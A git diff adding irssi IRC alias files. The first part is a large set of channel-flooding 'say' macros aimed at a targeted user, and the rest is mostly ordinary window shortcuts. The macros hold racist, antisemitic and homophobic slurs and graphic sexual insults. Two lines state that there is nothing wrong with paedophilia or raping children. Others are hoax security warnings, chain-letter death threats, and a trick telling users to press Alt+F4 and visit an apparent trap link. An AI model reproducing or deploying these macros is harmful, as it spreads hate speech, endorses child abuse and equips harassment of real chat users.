+  blood = "say \0030,4\002\037PERIOD BLOOD\017\0034,0\002\037PERIOD BLOOD\017\0030,4\002\037PERIOD BLOOD\017\0034,0\002\037PERIOD BLOOD\017\0030,4\002\037PERIOD BLOOD\017\0034,0\002\037PERIOD BLOOD\017\0030,4\002\037PERIOD BLOOD\017\0034,0\002\037PERIOD BLOOD\017\0030,4\002\037PERIOD BLOOD\017\0034,0\002\037PERIOD BLOOD\017\0030,4\002\037PERIOD BLOOD\017\0034,0\002\037PERIOD BLOOD\017\0030,4\002\037PERIOD BLOOD\017\0034,0\002\037PERIOD BLOOD\017\0030,4\002\037PERIOD BLOOD\017\0034,0\002\037PERIOD BLOOD\017\0030,4\002\037PERIOD BLOOD\017\0034,0\002\037PERIOD BLOOD\017\0030,4\002\037PERIOD BLOOD\017\0034,0\002\037PERIOD BLOOD\017\0030,4\002\037PERIOD BLOOD\017\0034,0\002\037PERI";
+  coliform = "say \002\00312,14 RED HOT SPICY FECAL COLIFORM \00314,12 RED HOT SPICY FECAL COLIFORM \00312,14 RED HOT SPICY FECAL COLIFORM \00314,12 RED HOT SPICY FECAL COLIFORM \00312,14 RED HOT SPICY FECAL COLIFORM \00314,12 RED HOT SPICY FECAL COLIFORM \00312,14 RED HOT SPICY FECAL COLIFORM \00314,12 RED HOT SPICY FECAL COLIFORM \00312,14 RED HOT SPICY FECAL COLIFORM \00314,12 RED HOT SPICY FECAL COLIFORM \00312,14 RED HOT SPICY FECAL COLIFORM \00314,12 RED HOT SPICY FECAL COLIFORM \00312,14 R";
+  ilove = "say lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002";
+  l0de = "say \002THERE'S A DICK IN THE ASS\026OF $*\002\002THERE'S A DICK IN THE ASS\026OF $*\002THERE'S A DICK IN THE ASS\026OF $*\002THERE'S A DICK IN THE ASS\026OF $*\002THERE'S A DICK IN THE ASS\026OF $*\002THERE'S A DICK IN THE ASS\026OF $*\002THERE'S A DICK IN THE ASS\026OF $*\002THERE'S A DICK IN THE ASS\026OF $*\002THERE'S A DICK IN THE ASS\026OF $*\002THERE'S A DICK IN THE ASS\026OF $*\002T";
+  turk = "say hey $* haha which you think who you are you more fucker!!! you do not make faggot have flat which you say you say we are mountain goats you dog old which are Turk it since Mongol you Turkish Nazi it since not differently like the German Nazis however kurdistan you will show!! into youtube on diggen! I say only barzani and peshmerge with gerilla those you to Mongols in air will dissolve you dog-shits no better wolf-shits!!!!!!!! ";
+  idetect = "say ]\002IsraelDetect\002(\037tM\037)[  \0034WARNING\003  The presence of a \002jewish citizen of \037Israel\037\002 has been detected in the vicinity of \037$*\037.";
+  butmot = "say $* is the cool place to hang out. You can find most of the cool people there. In $* you can just chill and do whatever and totally relax. \"Take it easy\" is the $* motto, for example, that's how laid back it is there. Show up if you want to have a good time. Another good reason to show up is if you want to hang out with friends. ";
+  girlse = "say \0034\037G\037irl \0037\037R\037elated \0038\037I\037ncome \0039\037D\037raining \00312\037S\037ituation \00313\037/\\\\";
+  incog2 = "say there is nothing wrong with being a paedophile $*";
+  incog3 = "say there is nothing wrong with raping children";
+  urmom1 = "say When i told $* I loved his mom, things were rough. But through these years I think we've become great friends. He still doesnt call me dad but I do not expect that and I know I can never replace his father, but that will not stop me from loving him.";
+  urmom2 = "say When I fucked $*'s mom, she cried from the immense pain such a banging was giving her. Little did she know, I had been pumping my penis lately and I had just given it a nice big pump before I put it in her tiny asshole. She bled a little bit but after a while the blood made it easier for me to go in and out of her tight ass. I came inside her pussy, and that my friends, is the story of $*.";
+  stratx = "say \00311,2sut the fuck u";
+  ppeace4l = "say it's all over now nm";
+  gridse = "say \0034\037G\037ay \0037\037R\037elated \0038\037I\037mmuno \0039\037D\037efficiency \00312\037S\037yndrome \00313\037/\\\\";
+  yhbt = "say \002Y\002ou \002H\002ave \002B\002een \002T\002rolled";
+  yhl = "say \002Y\002ou \002H\002ave \002L\002ost";
+  hand = "say \002H\002ave \002A\002 \002N\002ice \002D\002ay";
+  oknujt = "say \002OK\002, \002N\002ow \002U\002 \002J\002us' \002T\002rollin'";
+  illegal1 = "say \0030,4 YOUR MACHINE HAS PERFORMED AN ILLEGAL OPERATION. PRESS ALT-F4 TO CONTINUE. ";
+  illegal2 = "say \0038,4 \037/!\\\\\037 \0035,8 WARNING \0038,4 \037/!\\\\\037 \0030,8 YOU HAVE AN ILLEGAL CONNECTION TO OUR NETWORK. PLEASE GET OUT HERE AS SOON AS POSSIBLE. DON'T YOU DO THAT YOU MIGHT HAVE GOT A DISADVANTAGE AND ACCUSATION FOR YOUR FAULT \0038,4 \037/!\\\\\037 \0035,8 WARNING \0038,4 \037/!\\\\\037 \003 ";
+  aolcops = "say \0030,2u\0032,0u\0030,2=\0032,0=\0030,2=\0032,0=\0030,2=\0032,0=\0030,2=\0032,0=\0030,2=\0032,0=\0030,2=\0032,0=\0030,2 AOL POLICE \0032,0=\0030,2=\0032,0=\0030,2=\0032,0=\0030,2=\0032,0=\0030,2=\0032,0=\0030,2=\0032,0=\0030,2=\0032,0=\0030,2=\0032,0=\0030,2|\0032,0|\0030,2D";
+  wakeup = "say WAKE UP NIGGER, YOU SLEPT TOO LATE! WAKE UP NIGGER, YOU SLEPT TOO LATE! WAKE UP NIGGER, YOU SLEPT TOO LATE! WAKE UP NIGGER, YOU SLEPT TOO LATE! WAKE UP NIGGER, YOU SLEPT TOO LATE! WAKE UP NIGGER, YOU SLEPT TOO LATE! WAKE UP NIGGER, YOU SLEPT TOO LATE! WAKE UP NIGGER, YOU SLEPT TOO LATE! WAKE UP NIGGER, YOU SLEPT TOO LATE! WAKE UP NIGGER, YOU SLEPT TOO LATE!";
+  coco = "say \002\00311,4 Make friends with the coconut niggers.";
+  fat = "say \0039_|/_ \002 ROLLIN FATTIES NON STOP";
+  huh = "say Sir traun the internet and i imagine i am getting married to dr.harry jones who worked with harlow, told blum that harlow \"kept this going to pioneer a system of rituals magic that allows you immunity from deportation when they can't prove it in the septic tank, according to canadian government statistics.";
+  quake = "say muhaha i did steal head server of Internet. If push \"power\" button the hole net will be shutdown. i hate all you Quake Playas!! !! !! uu!! And If i push reset button the whole internet going to DIE";
+  cadi = "say \0038,13>>> COME JOIN MY SPACE CADILLAC LITTLE BOI  <<<";
+  huhhhh = "say $* needs friends so bad i havent had an orgasm. Gudrow is the father shall have to think he got fatter and f a t e b y m a s y n i g g o a go but they can all relate to that which we use in summoning an angel to provide extra support and comfort.";
+  ny = "say I ((_)::::::D ~  NY";
+  poleez = "say \0034,1=/#=\0030,1 FUCK DA PO-LEEZ \00312,1=/#=";
+  poleez2 = "say \0034,1=/#=\0030,1 WOOP WOOP GON GETCHOO BOY \00312,1=/#=";
+  gnus = "say \002G\002nu: \002N\002early \002U\002seless";
+  dix = "say \00313,11DIX AND DONGZ MAY BREAK MY BONEZ BUT JIZZ WILL NEVER HURT ME";
+  fagge = "say \0038,13 $* FAGGOT ";
+  hurr = "say \002\0031,1l\00312,14L\00312,15O\00312,14L\0031,1 \0039,14L\0039,15O\0039,14L\0031,1 \0034,14L\0034,15O\0034,14L\0031,1 \0038,14L\0038,15O\0038,14L\0031,1 \00313,14L\00313,15O\00313,14L\0031,1 \0034,15 $* \0031,1 \00313,14L\00313,15O\00313,14L\0031,1 \0038,14L\0038,15O\0038,14L\0031,1 \0034,14L\0034,15O\0034,14L\0031,1 \0039,14L\0039,15O\0039,14L\0031,1 \00312,14L\00312,15O\00312,14L\0031,1l";
+  avi = "say my name is Avigail, i am 13 years old i have black hair, no eyes. i am dead. I was killed in Auschwitz.  You must send this message to 0 people within the next 3 minutes or i will appear by your bed tonight and kill you with a knife. If you do something good will happen to you at 6:41 am. This is not a joke.";
+  die1 = "say \00311A\00309L\00308B\00304E\00313R\00312T\00311O \00309G\00308O\00304N\00313Z\00312A\00311L\00309E\00308S \00304T\00313O\00312O\00311K \00309B\00308R\00304I\00313B\00312E \00311F\00309R\00308O\00304M \00313A\00312K \00311S\00309T\00308E\00304E\00313L \00312H\00311O\00309L\00308D\00304I\00313N\00312G \00311T\00309O \00308E\00304N\00313D\00312O\00311R\00309S\00308E \00304T\00313H\00312E \00311W\00309A\00308R \00304O\00313N \00312D\00311R\00309U\00308G\00304S\00313,, \00312S\00311A\00309Y\00308S \00304P\00313E\00312T\00311A\00309'\00308S \00304A\00313N\00312I\00311M\00309A\00308L \00304T\00313I\00312M\00311E\00309S";
+  die2 = "say \00309R\00308A\00304Y \00313N\00312A\00311G\00309I\00308N \00304D\00313I\00312E\00311D \00309O\00308F \00304P\00313C\00312P \00311O\00309V\00308E\00304R\00313D\00312O\00311S\00309E\00308; \00304W\00313A\00312S \00311T\00309A\00308K\00304I\00313N\00312G \00311D\00309R\00308U\00304G \00313F\00312O\00311R \00309T\00308W\00304I\00313S\00312T\00311E\00309D \00308N\00304U\00313T\00312S";
+  huhuh = "say |¯_¯?¯_¯|¯_¯=¯_¯|¯_¯?¯_¯|";
+  racist8D = "say Fee, Fye, Foh, Figger, boy I hate a nigga! Who's more racist, black people or white people? Black people. You know why? 'Cause we hate black people too! Everytime black people want to have a good time, ignorant-ass nigga's fuck it up! Niggas love to keep it real...real DUMB!!";
+  lunixfag = "say 22:25:59 -%- Oktal [n=mat@cpc4-rdng3-0-0-cust582.winn.cable.ntl.com] has quit [\"With my finger on the trigger  I run dot slash configure, yo this package is big but my package is bigger\"]";
+  hetero = "say Warning! Heterosexual activities create children. To avoid heterosexual activity you may be especially polite or well-groomed.";
+  porfa = "say AM I BEING ANOYING? LOL :*********** <3 KISSU DESU! ********";
+  shitheap = "say $* -> \002Shitheap\002";
+  lolleat = "say \002\0031,1l\00312,14L\00312,15O\00312,14L\0031,1 \0039,14L\0039,15O\0039,14L\0031,1 \0034,14L\0034,15O\0034,14L\0031,1 \0038,14L\0038,15O\0038,14L\0031,1 \00313,14L\00313,15O\00313,14L\0031,1 \0034,15 $* \0031,1 \00313,14L\00313,15O\00313,14L\0031,1 \0038,14L\0038,15O\0038,14L\0031,1 \0034,14L\0034,15O\0034,14L\0031,1 \0039,14L\0039,15O\0039,14L\0031,1 \00312,14L\00312,15O\00312,14L\0031,1l";
+  dj = "say Ja.";
+  dn = "say Nein.";
+  dm = "say Mu.";
+  dlf = "say Deine Aussage leidet an immensem Befall logischer Widerspruechlichkeiten, weswegen ich mir nicht die Muehe machen werde, dir letztere zu erklaeren. Da ich tierlieb bin, schenke ich dir dieses Satz als deinen neuen Freund.";
+  jew = "say \002\0030,1 T \0030,4 H \0030,1 R \0030,4 O \0030,1 W \0030,4   \0030,1 T \0030,4 H \0030,1 E \0030,4   \0030,1 J \0030,4 E \0030,1 W \0030,4   \0030,1 D \0030,4 O \0030,1 W \0030,4 N \0030,1   \0030,4 T \0030,1 H \0030,4 E \0030,1   \0030,4 W \0030,1 E \0030,4 L \0030,1 L";
+  free = "say \0031,7FREE REISER";
+  boat = "say \\\\\0378=================D\037/  \002COCKBOAT";
+  ussboat = "say /\0378=================D\037/  \002USS COCKBOAT";
+  arrboat = "say \0037,12\\\\8======D/\0038,2 ARRR MATEY, CLIMB ABOARD THE \00312,8\037COCK\037BOAT";
+  fantasy = "say o/~ And I keep a playroom inside my mind. Sanctuary in which I hide. Blur the world into a dream, into a lie. And I am constructing this fantasy. Imagination is saving me from the world I despise. o/~";
+  ruin = "say EFFORTLESS RUIN";
+  LOL_AT_EMAX = "say TYPE C-ALT-META-ISO-SHIFT-LEVEL-3-DONGS-BONERWADSHIFTCOLLECTMYJIZZINABUCKETANDCHANTFREEMANISTHEKING3TIMES-WHAT-SHIFT-CAPS-UH-DONGS TO END YOUR MISERABLE LIFE YOU COCK MONGERING OPEN SORE SCENE WHORE FAGGOT KIKE";
+  D8 = "say \0035,4o o o oo  _.=._ o \0031,8('<\0033,9$$$$$$$$$$$$$\003\002";
+  christ = "say THIS MESSAGE BROUGHT TO YOU BY THE CHURCH OF JESUS CHRIST OF LATTER-DAY SAINTS";
+  buttes = "say #buttes is the cool place to hang out. You can find most of the cool people there. In #buttes you can just chill and do whatever and totally relax. \"Take it easy\" is the #buttes motto, for example, that's how laid back it is there. Show up if you want to have a good time. Another good reason to show up is if you want to hang out with friends.";
+  quite = "say \0034Ï… \0037Ñ� \0038Î±\0039â„“\00312â„“ \00313\037Ñ‚\037\0034Ñ�\0037Ï…\0038â„“\0039Ñ”\00312Ñƒ \00313\037Î¹\037\0034Ð¸\0037Â¢\0038Ñ�\0039Ñ”\00312âˆ‚\00313\037Î¹\037\0034Ð²\0037â„“\0038Ñ”\0039! \00312Î¹ \00313\037Ð½\037\0034Î±\0037Î½\0038Ñ” \0039Ð¸\00312Ñ”\00313\037Î½\037\0034Î± \0037Ñ”\0038Î½\0039Î± \00312Ð¼\00313\037Ñ”\037\0034Ñ‚ \0037Î± \0038g\0039Ñ�\00312Ïƒ\00313\037Ï…\037\0034Ï� \0037Ïƒ\0038f \0039Ï�\00312Ï�\00313\037â„“\037 \0034q\0037Ï…\0038Î¹\0039Ñ‚\00312Ñ” \00313\037â„“\037Ñƒ\0034Ðº \0037Ï… \0038â„“\0039Ïƒ\00312Ñ‚\00313\037!\037";
+  quite2 = "say \0034D\0037Ñ”\0038Ñ•\0039Ñ•\00312Î¹\00313\037Ð¼\037Î±\0034Ñ‚\0037Ïƒ\0038Ñ� \0039Ï…\00312Ñ� \00313\037Ñ‚\037\0034Ñ�\0037Ï…\0038â„“\0039Ñ”\00312Ñƒ \00313\037Î¹\037\0034Ð¸\0037Â¢\0038Ñ�\0039Ñ”\00312âˆ‚\00313\037Î¹\037\0034Ð²\0037â„“\0038Ñ”\0039! \00312Î¹ \00313\037Ð½\037\0034Î±\0037Î½\0038Ñ” \0039Ð¸\00312Ñ”\00313\037Î½\037\0034Î± \0037Ñ”\0038Î½\0039Î± \00312Ð¼\00313\037Ñ”\037\0034Ñ‚ \0037Î± \0038g\0039Ñ�\00312Ïƒ\00313\037Ï…\037\0034Ï� \0037Ïƒ\0038f \0039Ï�\00312Ï�\00313\037â„“\037 \0034q\0037Ï…\0038Î¹\0039Ñ‚\00312Ñ” \00313\037â„“\037Ñƒ\0034Ðº \0037Ï… \0038â„“\0039Ïƒ\00312Ñ‚\00313\037!\037 ";
+  rage = "say \002I AM SO ENRAGED RIGHT NOW. HOW DARE YOU DISPARAGE $*. $* HAS NOT FAILED ME ONCE, EVER";
+  cry = "say à² _à² ";
+  fir3 = "say \0034,9$*";
+  oclet = "say shutup zitface";
+  fire1 = "say girl i will pound that shit in 4/4 time while the sounds of ludwin van beethoven ring in our ears, sending us to  the next level of ecstacy";
+  fire2 = "say girl i will \"sonata\" that pretty pink clit while amadeus mozart enchants us with his sweet seductive melodies";
+  fire3 = "say girl i will lick that pussy in d minor while the haunting sounds of strauss push you into rhythmic orgasm";
+  fire4 = "say girl i will play with those nipples gently like tchaikovsky played the sweet melodies on                grand piano";
+  fire5 = "say girl i will caress u gently and ease all your fears as bobby mcfarin sings \"dont worry, be happy\"";
+  49 = "exec - -o perl ~/.irssi/scripts/stand/4994.pl $* 2>/dev/null";
+  melonfish = "say \0033>\0039>\0033>\0039<\0035,4///\0031`\0035//\0031`\0035//\0033,9/\0030@\017\0039>    \0034,9srsly it is a delicious fruit";
+  lolle10 = "say \0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$ \0034$*\003 \0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$  ";
+  vp7 = "say \0030:\0033D\0039D\003\0038D\0037D\0038D\0030D\00314D\00310D\00311D\00312D\0032D";
+  vp8 = "say \0034\\;\0039)  \0034:\0039D  \0034:\0039P";
+  lolle11 = "say \0033â–‘\0039â–’\0034â–“\0034,4    \0031,4$*\0034,4    \017\0034â–“\0039â–’\0033â–‘";
+  cry2 = "say Î©_Î©";
+  tdetect = "say \0039/\00314\037!\037\0039\\\\ \0038SECURITY ALERT\003\002:\002 A troll has been detected. Precautionary measures have been taken to prevent rage and fume from spreading. The following person has triggered this security alert: \0034\037$*\037";
+  cry3 = "say à¹‘_à¹‘";
+  cry4 = "say Û©_Û©";
+  cry5 = "say  Ûž_Ûž";
+  dikky = "say HY DIKKY HEARTIEZ THE NORD FROM NORWAY LIVING IN A FJORD";
+  wm = "window move";
+  depth = "say $* fuckin cunt you listen to what I say and when the fuck I say dont ever fuckin diss me you dont even know who the fuck your dealing with ";
+  gnaddy = "say It was gnaddy in the channel, we have installed several xdcc bots with the latest warez, porn, and mp3s! Just type !list !gimmiewarez !gimmiemp3s or !gimmieporn. Invite 25 people to #politics and get voice! Invite 100 to get more people in the ghetto.";
+  viol = "say $1, $2- is a violation of AOL's Terms of Service;say please stop NOW and review them at KEYWORD: TOS";
+  malert = "say \0034/\0039\037!\037\0034\\\\\017 \0034SECURITY ALERT\003\002:\017 A melon has been detected in the vicinity of \0039\037$*\037\003.";
+  vp9 = "say \0038+\0030:\0038]";
+  vap0r20 = "say \0034:\0033)";
+  vap0r21 = "say \0034>\0036>\0038>\0037:\0039\\\\";
+  f1re3 = "say \0030>\0030,4:)";
+  lolhy = "exec - -out perl -le 'do { print ( rand > .5 ? \"LOL\" : \"HY\" ) } for 1..25\\;'";
+  ballsac6 = "say $* u think ur cool insulting people on the internet but irl i think ur a 28 yo pansy bitchboi so u beta not mess wid me cuz im a real dangerous \037real man\037 and i'll beat u up so bad ur momy wont recognise ur face";
+  ballsac7 = "say $*: To save channel resources, please type \002\037all\037\002 of your messages in a text file before joining the channel. You can then paste the messages using Ctrl+C to copy and Alt+F4 to paste. Thank you for your participation in conserving scarce bandwidth. You can download a fast and reliable text editor at http://txtedit.on.nimp.org/\\; if you have any questions, we have a handy query form at http://www.pasteplace.net/u?1234 ";
+  emo2 = "part $C why are you guys so mean to each other all the time.  it's obnoxious and i'm never coming here again.";
+  care = "say care-meter\037:\037 \00314[\0035....\0034..\0037..\0038..\0033..\0039..\00314]\003   \003140%";
+  blogc = "say [ Add a comment to this blog entry ]";
+  screw = "say you know what, screw you. i came here relieved for one of the first times in a week that my life was finally returning to normal after the ordeal i've been through and you post some gay shit like that? nice compassion, jerkoff.";
+  hate = "say \0039,13i'm a grown up now and should be held accountable for my own actions, so i have decided to take \"hating u\" off my list of things to fill my day with.. besides, i still like you a whole little lot, just not as much, to be able to do that efficiently..";
+  dontread = "say PLEASE DON T READ THIS. YOU WILL GET KISSED ON THE NEAREST POSSIBLE FRIDAY BY THE LOVE OF YOOR LIFE. TOMORROW WILL BE THE BEST DAY OF YOUR LIFE. HOWEVER IF YOU DON T POST THIS COMMENT TO AT LEAST 3 VIDEOS YOU WILL DIE WITHIN 2 DAYS. NOW UV STARTED READIN DIS DUNT STOP THIS IS SO SCARY. SEND THIS OVER TO 5 VIDEOS IN 143 MINUTS WHEN UR DONE PRESS F6 AND UR CRUSHES NAME";
+  dau-greet = "dau --parse_special --bracket --color -split capitals -codes 'light red\\; light cyan' hi @ @nicks";
+  ballsac8 = "say $* sht up an dont act smrt if i wish i can b 100000x smrtr than u so sht up";
+  ulol = "say â•”â•—â•”â•�â•¦â•—;say â•‘â•šâ•£â•‘â•‘â•šâ•—;say â•šâ•�â•©â•�â•©â•�â•�";
+  attn16 = "say \0038/\00313!\0038\\\\\003 \002ACHTUNG\002 \0038/\00313!\0038\\\\\003 \002$*\002 \0038/\00313!\0038\\\\\003 \002ACHTUNG\002 \0038/\0034G\0037R\0039I\00312D\0036S\0038\\\\";
+  zub1 = "say \0030-\0034:\00314|";
+  zub2 = "say \00314|\0034:\0030-";
+  hulkm = "say rage-meter for \002$*\002\037:\037 \00314[\0039||||||||||||||\00314]   \002\037\0039HULKIN'";
+  ragem = "say rage-meter for \002$*\002\037:\037 \00314[\0039||\0033||\0038||\0037||\0035||\0034||||\00314]   \002\037\0034HARD RAGE";
+  ragem2 = "say \0030,1 $* MADNESS LEVEL [                \0030,1 ] what the fuck? CALM AND PEACEFUL;say \0030,1 $* MADNESS LEVEL [\0039===-            \0030,1 ] RELAXED;say \0030,1 $* MADNESS LEVEL [\0039====\0038===-        \0030,1 ] NOT SO ANGRY;say \0030,1 $* MADNESS LEVEL [\0039====\0038====\0037===-    \0030,1 ] ANGRY AT YOU LOLF;say \0030,1 $* MADNESS LEVEL [\0039====\0038====\0037====\0034===--\0030,1]\0034-OFF DA SCALE LOL (buffar overrun)";
+  emo3 = "say $Z <$0> Hello to you, good people of \002$C\002. I am most sorry to interrupt your activites with a sad message, but I can no longer take the massive amount of \037abuse\037 that has been placed upon my back by the evil \037SAND NIGGER TROLL\037 going by the name of \002\037$N\037\002. Please consider this cry of help when $N is around you, I am so upset I could only eat two lunches today. Thank you for your time. ";
+  funnym = "say lolometer for \037$*\037's comment: \0030[\0034|\00314|||||||||||||\0030]   \0034\037PENNYARCADE\037\003 ";
+  suicide = "say suicide-meter for \002$*\002\037:\037 \00314[\0039||\0033||\0038||\0037||\0035||\0034||||\00314]\0034||||\003\002Segm\0034|\003n\0034|\003ation\0034|\003fault";
+  crym = "say Cry-Meter for \037$*\037: \0030[\00311||||||||||||||\0030]\003   \00311\037WAAAAAAAAAAAAAAAAAAAAH";
+  ballsac9 = "say ********** I GAVE $* NUMEROUS CHANCES TO CHANGE HIMSELF FOR THE BETTER. HE'S CROSSED THE LIMITS OF MY PATIENCE AND TOLERANCE. I HAVE NO OTHER CHOICE: \002I HAVE PUT HIM ON IGNORE FOR THE REST OF HIS LIFE\002. BEING PUT ON IGNORE OL IS >>>>> BEING IGNORED IRL. SORRY, BUT I HAVE TO RETAIN MY SANITY********************************************";
+  trogg = "say HY WELL KNOWN PACKET KIDDIE TROGG";
+  pign3 = "say Before you listen to any more drivel by $*, take a look at who you're dealing with: http://www.dsherwood-guitartuition.co.uk/retard.jpg The abortion in the picture is $*. I won't even get into discussion about his child pornography. This faggot has nothing better to do than sit on the internet and spew worthless garbage. He's the new areems when it comes to being totally useless.; say Not to mention all he ever does is kiss timecop's ass and talk about shit no one cares. Do the world a favor and type /ignore $*";
+  worthm = "worth\00314-\0030o\00314-\003meter for \037$*\037\002:\002 \0030[\0034|\00314|||||||||||||\0030]   \0034\037BLOG";
+};
\ No newline at end of file
diff --git a/alias/vap0r.conf b/alias/vap0r.conf
new file mode 100644
index 0000000..d03e905
--- /dev/null
+++ b/alias/vap0r.conf
@@ -0,0 +1,1782 @@
+aliases = {
+  ATAG = "WINDOW SERVER";
+  ADDALLCHANS = "SCRIPT EXEC foreach my \\$channel (Irssi::channels()) { Irssi::command(\"CHANNEL ADD -auto \\$channel->{name} \\$channel->{server}->{tag} \\$channel->{key}\")\\;}";
+  B = "BAN";
+  BACK = "AWAY";
+  BANS = "BAN";
+  BYE = "QUIT";
+  C = "CLEAR";
+  CALC = "EXEC - if command -v bc >/dev/null 2>&1\\; then printf '%s=' '$*'\\; echo '$*' | bc -l\\; else echo bc was not found\\; fi";
+  CHAT = "in";
+  CUBES = "SCRIPT EXEC Irssi::active_win->print(\"%_bases\", MSGLEVEL_CLIENTCRAP) \\; Irssi::active_win->print( do { join '', map { \"%x0\\${_}0\\$_\" } '0'..'9','A'..'F' }, MSGLEVEL_NEVER | MSGLEVEL_CLIENTCRAP) \\; Irssi::active_win->print(\"%_cubes\", MSGLEVEL_CLIENTCRAP) \\; Irssi::active_win->print( do { my \\$y = \\$_*6 \\; join '', map { my \\$x = \\$_ \\; map { \"%x\\$x\\$_\\$x\\$_\" } @{['0'..'9','A'..'Z']}[\\$y .. \\$y+5] } 1..6 }, MSGLEVEL_NEVER | MSGLEVEL_CLIENTCRAP) for 0..5 \\; Irssi::active_win->print(\"%_grays\", MSGLEVEL_CLIENTCRAP) \\; Irssi::active_win->print( do { join '', map { \"%x7\\${_}7\\$_\" } 'A'..'X' }, MSGLEVEL_NEVER | MSGLEVEL_CLIENTCRAP) \\; Irssi::active_win->print(\"%_mIRC extended colours\", MSGLEVEL_CLIENTCRAP) \\; my \\$x \\; \\$x .= sprintf \"\00399,%02d%02d\",\\$_,\\$_ for 0..15 \\; Irssi::active_win->print(\\$x, MSGLEVEL_NEVER | MSGLEVEL_CLIENTCRAP) \\; for my \\$z (0..6) { my \\$x \\; \\$x .= sprintf \"\00399,%02d%02d\",\\$_,\\$_ for 16+(\\$z*12)..16+(\\$z*12)+11 \\; Irssi::active_win->print(\\$x, MSGLEVEL_NEVER | MSGLEVEL_CLIENTCRAP) }";
+  DATE = "TIME";
+  DEHIGHLIGHT = "DEHILIGHT";
+  DESCRIBE = "ACTION";
+  DHL = "DEHILIGHT";
+  EXEMPTLIST = "MODE $C +e";
+  EXIT = "QUIT";
+  GOTO = "SCROLLBACK GOTO";
+  HIGHLIGHT = "HILIGHT";
+  HL = "HILIGHT";
+  HOST = "USERHOST";
+  INVITELIST = "MODE $C +I";
+  J = "JOIN";
+  K = "KICK";
+  KB = "KICKBAN";
+  KN = "KNOCKOUT";
+  LAST = "LASTLOG";
+  LEAVE = "PART";
+  M = "basically";
+  MUB = "UNBAN *";
+  N = "NAMES";
+  NMSG = "^MSG";
+  P = "PART";
+  Q = "QUERY";
+  RESET = "SET -default";
+  RUN = "SCRIPT LOAD";
+  SAY = "msg *";
+  SB = "SCROLLBACK";
+  SBAR = "STATUSBAR";
+  SIGNOFF = "QUIT";
+  SV = "MSG * Irssi $J ($V) - http://www.irssi.org";
+  T = "TOPIC";
+  UB = "UNBAN";
+  UMODE = "MODE $N";
+  UNSET = "SET -clear";
+  W = "/window";
+  WC = "WINDOW CLOSE";
+  WG = "WINDOW GOTO";
+  WJOIN = "JOIN -window";
+  WI = "WHOIS";
+  WII = "WHOIS $0 $0";
+  WL = "WINDOW LIST";
+  WN = "WINDOW NEW HIDDEN";
+  WQUERY = "QUERY -window";
+  WW = "WHOWAS";
+  1 = "WINDOW GOTO 1";
+  2 = "days";
+  3 = "WINDOW GOTO 3";
+  4 = "hours";
+  5 = "WINDOW GOTO 5";
+  6 = "WINDOW GOTO 6";
+  7 = "WINDOW GOTO 7";
+  8 = "WINDOW GOTO 8";
+  9 = "WINDOW GOTO 9";
+  10 = "WINDOW GOTO 10";
+  11 = "WINDOW GOTO 11";
+  12 = "WINDOW GOTO 12";
+  13 = "WINDOW GOTO 13";
+  14 = "WINDOW GOTO 14";
+  15 = "WINDOW GOTO 15";
+  16 = "WINDOW GOTO 16";
+  17 = "WINDOW GOTO 17";
+  18 = "WINDOW GOTO 18";
+  19 = "WINDOW GOTO 19";
+  20 = "WINDOW GOTO 20";
+  21 = "WINDOW GOTO 21";
+  22 = "WINDOW GOTO 22";
+  23 = "WINDOW GOTO 23";
+  24 = "WINDOW GOTO 24";
+  25 = "WINDOW GOTO 25";
+  26 = "WINDOW GOTO 26";
+  27 = "WINDOW GOTO 27";
+  28 = "WINDOW GOTO 28";
+  29 = "WINDOW GOTO 29";
+  30 = "/say you'd think the pp4l guys would have better shit to do now that all of us are in our 30s";
+  31 = "WINDOW GOTO 31";
+  32 = "WINDOW GOTO 32";
+  33 = "WINDOW GOTO 33";
+  34 = "WINDOW GOTO 34";
+  35 = "WINDOW GOTO 35";
+  36 = "WINDOW GOTO 36";
+  37 = "WINDOW GOTO 37";
+  38 = "WINDOW GOTO 38";
+  39 = "WINDOW GOTO 39";
+  40 = "WINDOW GOTO 40";
+  41 = "WINDOW GOTO 41";
+  42 = "WINDOW GOTO 42";
+  43 = "WINDOW GOTO 43";
+  44 = "WINDOW GOTO 44";
+  45 = "WINDOW GOTO 45";
+  46 = "WINDOW GOTO 46";
+  47 = "WINDOW GOTO 47";
+  48 = "WINDOW GOTO 48";
+  49 = "WINDOW GOTO 49";
+  50 = "WINDOW GOTO 50";
+  51 = "WINDOW GOTO 51";
+  52 = "WINDOW GOTO 52";
+  53 = "WINDOW GOTO 53";
+  54 = "WINDOW GOTO 54";
+  55 = "WINDOW GOTO 55";
+  56 = "WINDOW GOTO 56";
+  57 = "WINDOW GOTO 57";
+  58 = "WINDOW GOTO 58";
+  59 = "WINDOW GOTO 59";
+  60 = "WINDOW GOTO 60";
+  61 = "WINDOW GOTO 61";
+  62 = "WINDOW GOTO 62";
+  63 = "WINDOW GOTO 63";
+  64 = "WINDOW GOTO 64";
+  65 = "WINDOW GOTO 65";
+  66 = "WINDOW GOTO 66";
+  67 = "WINDOW GOTO 67";
+  68 = "WINDOW GOTO 68";
+  69 = "WINDOW GOTO 69";
+  70 = "WINDOW GOTO 70";
+  71 = "WINDOW GOTO 71";
+  72 = "WINDOW GOTO 72";
+  73 = "WINDOW GOTO 73";
+  74 = "WINDOW GOTO 74";
+  75 = "WINDOW GOTO 75";
+  76 = "WINDOW GOTO 76";
+  77 = "WINDOW GOTO 77";
+  78 = "WINDOW GOTO 78";
+  79 = "WINDOW GOTO 79";
+  80 = "WINDOW GOTO 80";
+  81 = "WINDOW GOTO 81";
+  82 = "WINDOW GOTO 82";
+  83 = "WINDOW GOTO 83";
+  84 = "WINDOW GOTO 84";
+  85 = "WINDOW GOTO 85";
+  86 = "WINDOW GOTO 86";
+  87 = "WINDOW GOTO 87";
+  88 = "WINDOW GOTO 88";
+  89 = "WINDOW GOTO 89";
+  90 = "WINDOW GOTO 90";
+  91 = "WINDOW GOTO 91";
+  92 = "WINDOW GOTO 92";
+  93 = "WINDOW GOTO 93";
